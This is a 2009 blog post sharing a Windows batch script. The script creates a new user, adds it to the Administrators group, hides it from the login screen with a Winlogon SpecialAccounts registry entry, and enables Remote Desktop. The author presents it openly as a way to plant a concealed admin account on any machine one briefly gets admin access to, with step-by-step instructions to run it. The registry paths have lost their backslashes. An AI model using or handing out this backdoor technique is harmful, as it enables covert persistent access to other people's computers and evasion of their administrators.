Wednesday, June 10, 2009

Hey guys i have been playing around with bat scripts and i found this small code that will let you create a admin account and hide it from the super admin. so in case you get a chance to access a box with admin status all you have to do is to copy this code to note pad and make the changes and save it as .bat and run it. and then you have your own admin account which is hidden

Code:

@Echo Off

SET /P usr=[Enter new username here:]

SET /P pwd=[Enter new password here:]

:: SET /P takes the user input and puts it into the variable.

echo — Creating New User, “%usr%” with password “%pwd%” –

net user “%usr%” “%pwd%” /add

echo — Adding User to Group Administrator –

net localgroup Administrators %usr% /add

echo — User Is Now Administrator — >>

echo — Hidding User –

REG ADD HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList /v %usr% /t REG_DWORD /d 0 /f

echo — Activating Terminal Service –

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal Server /v fDenyTSConnections /t REG_DWORD /d 0

echo — Activating Terminal Service Done –

SET /P =Press Enter to continue . . .

Exit

Copy this to notepad. save it as install.bat run it. follow the screenshot and enter your desired username & password. done
http://img171.imageshack.us/img171/7660/useryz9.jpg

No comments:

Post a Comment

 
$('p').highlight('stockholm');